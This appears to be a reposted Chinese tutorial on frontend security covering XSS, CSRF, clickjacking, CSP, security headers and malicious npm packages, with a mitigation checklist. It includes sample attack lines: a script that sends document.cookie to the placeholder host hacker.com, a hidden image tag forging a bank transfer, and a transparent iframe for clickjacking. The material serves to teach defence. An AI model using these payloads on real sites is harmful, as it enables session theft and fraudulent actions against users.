前端与浏览器安全知识详解
一、跨站脚本攻击（XSS）攻击原理
[*]界说：攻击者向页面注入恶意脚本（如 JavaScript），在用户浏览时执行，窃取 Cookie、窜改页面等。
[*]分类：
[*]存储型 XSS：恶意脚本存储到服务器（如批评区）。
[*]反射型 XSS：恶意脚本通过 URL 参数反射到页面。
[*]DOM 型 XSS：前端直接操作 DOM 导致漏洞。
图文案例
攻击代码：
用户提交评论内容：
<script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>
防护步伐
[*]输入过滤：对用户输入进行转义（如将 < 转义为 <）。
[*]输出编码：// 使用框架内置的编码函数
const safeOutput = _.escape(userInput); // Lodash
[*]设置 HTTP 头：Content-Security-Policy: script-src 'self' 禁止加载外部脚本
二、跨站哀求伪造（CSRF）
攻击原理
[*]界说：诱导用户访问恶意页面，利用已登录状态伪造用户身份发起哀求（如转账）。
[*]核心条件：用户已登录目标网站且未登出。
攻击代码：
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
防护步伐
[*]CSRF Token：<form action="/transfer">
<input type="hidden" name="csrf_token" value="{{csrfToken}}">
</form>
[*]SameSite Cookie：Set-Cookie: sessionId=abc123; SameSite=Strict
[*]验证 Referer/Origin：查抄哀求来源是否合法。
三、点击挟制（Clickjacking）
攻击原理
[*]界说：攻击者通过透明 iframe 覆盖在正常页面上，诱导用户点击隐藏按钮（如点赞、关注）。
攻击代码：
<style>
iframe {
opacity: 0;
position: absolute;
top: 0;
left: 0;
}
</style>
<iframe src="https://social.com/like?post=123"></iframe>
防护步伐
[*]设置 X-Frame-Options：X-Frame-Options: DENY// 禁止页面被嵌入 iframe
[*]使用 CSP：Content-Security-Policy: frame-ancestors 'none'
四、浏览器安全策略
1. 同源策略（Same-Origin Policy）
[*]规则：禁止页面读取差别源（协议+域名+端口）的资源。
[*]绕过风险：错误配置 CORS 导致数据泄露。
2. 内容安全策略（CSP）
[*]配置示例：Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
3. 安全头配置
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
五、第三方依赖风险
案例：恶意 npm 包
[*]变乱：event-stream 包被注入恶意代码，窃取比特币钱包。
[*]防护：
[*]使用 npm audit 查抄依赖漏洞。
[*]锁定版本号（package-lock.json）。
[*]使用 Snyk、Dependabot 扫描依赖。
六、安全防护工具
[*]浏览器 DevTools：
[*]查抄 Network 哀求中的敏感信息泄露。
[*]使用 Security 面板查看 HTTPS 和 CSP 状态。
[*]自动化扫描：
[*]OWASP ZAP：检测 XSS、SQL 注入等漏洞。
[*]Lighthouse：审计安全头配置。
总结：前端安全防护清单
风险类型防护本领XSS输入过滤、输出编码、CSP、克制 innerHTMLCSRFCSRF Token、SameSite Cookie、验证 Referer点击挟制X-Frame-Options、CSP 的 frame-ancestors数据泄露禁用 document.cookie、敏感数据不存 localStorage第三方依赖定期更新依赖、使用 npm auditHTTPS全站 HTTPS、HSTS 头、禁用混淆内容（HTTP 资源）
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]